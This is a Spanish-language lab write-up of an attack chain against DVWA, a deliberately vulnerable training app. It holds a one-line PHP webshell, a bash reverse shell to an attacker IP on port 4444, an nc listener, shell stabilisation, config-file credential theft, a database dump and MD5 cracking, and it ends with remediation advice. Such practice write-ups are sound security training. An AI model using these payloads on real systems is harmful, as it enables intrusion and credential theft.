🛡️ Explotación – DVWA (File Upload → RCE)

🧠 Información General

  • Objetivo: DVWA (Damn Vulnerable Web Application)
  • Tipo: Aplicación web vulnerable
  • Entorno: Docker / Linux
  • IP atacante: 10.0.2.15
  • Puerto atacante: 4444

🎯 Objetivo

Obtener ejecución remota de comandos (RCE), acceso al sistema y extracción de credenciales.


🔍 Fase 1 – Identificación

Se identifica una funcionalidad vulnerable en la aplicación:

  • Módulo: File Upload
  • Nivel de seguridad: Bajo

El módulo permite la subida de archivos sin validación adecuada, lo que abre la puerta a la ejecución de código arbitrario.


💣 Fase 2 – Explotación (File Upload)

Se sube una webshell en PHP:

<?php system($_GET['cmd']); ?>

Ruta del archivo:

/hackable/uploads/shell.php

⚡ Fase 3 – Ejecución de Comandos

Acceso a la webshell desde el navegador:

http://localhost:8080/hackable/uploads/shell.php?cmd=whoami

Salida obtenida:

www.data

Resultado:
✔ Confirmación de ejecución remota de comandos (RCE)


🔥 Fase 4 – Reverse Shell

Preparación del listener en el equipo atacante:

rlwrap nc -lvnp 4444

Ejecución del payload desde la webshell:

?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.0.2.15/4444+0>%261'

Resultado:
✔ Conexión entrante recibida
✔ Shell remota establecida


🔧 Fase 5 – Estabilización de la Shell

Debido a la ausencia de Python en el sistema comprometido:

script /dev/null -c bash
Crtl+Z
stty raw -echo;
fg
export TERM=xterm
reset

Resultado:
✔ Shell interactiva funcional


🔍 Fase 6 – Enumeración

Información del sistema comprometido:

  • Usuario actual:
whoami → www-data
  • Directorio de trabajo:
/var/www/html
  • Sistema operativo:
Linux (contenedor Docker)

🔐 Fase 7 – Obtención de Credenciales

Archivo localizado:

/var/www/html/config/config.inc.php

Credenciales encontradas:

💣 Fase 8 – Acceso a Base de Datos

Conexión al servicio MySQL:

mysql -u app -p

Base de datos:

dvwa

Tabla relevante:

users

🔥 Fase 9 – Extracción de Hashes

Consulta ejecutada:

SELECT * FROM users;

Ejemplo de resultado:


🧠 Fase 10 – Cracking de Contraseñas

Uso de diccionario con John the Ripper:

john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Resultado:

password

⚠️ Fase 11 – Escalada de Privilegios

Intentos realizados:

  • su → ❌
  • Búsqueda de binarios SUID → ❌
  • sudo → ❌

Conclusión:
💀 No se logra escalada de privilegios (entorno Docker limitado)


🧠 Conclusiones

✔ Vulnerabilidades Explotadas

  • Subida de archivos sin validación
  • Ejecución remota de comandos (RCE)
  • Credenciales almacenadas en texto plano
  • Uso de hashes débiles (MD5)

🔥 Impacto

  • Acceso remoto al sistema
  • Control del servidor web
  • Acceso a la base de datos
  • Compromiso de credenciales

🛡️ Recomendaciones

  • Validar correctamente la subida de archivos (tipo y MIME)
  • Deshabilitar ejecución en directorios de subida
  • Evitar almacenamiento de credenciales en texto plano
  • Utilizar algoritmos de hash seguros (bcrypt, Argon2)
  • Aplicar el principio de mínimo privilegio

💀 Estado Final

  • ✔ Acceso como www-data
  • ✔ RCE conseguido
  • ✔ Credenciales comprometidas
  • ❌ Sin acceso root (entorno controlado)

🚀 Nivel Técnico Alcanzado

  • Web Exploitation ✔
  • Reverse Shell ✔
  • Post-explotación ✔
  • Enumeración ✔
  • Cracking de contraseñas ✔

🔥 Resultado Final

Cadena de ataque completa ejecutada con éxito.

Scroll al inicio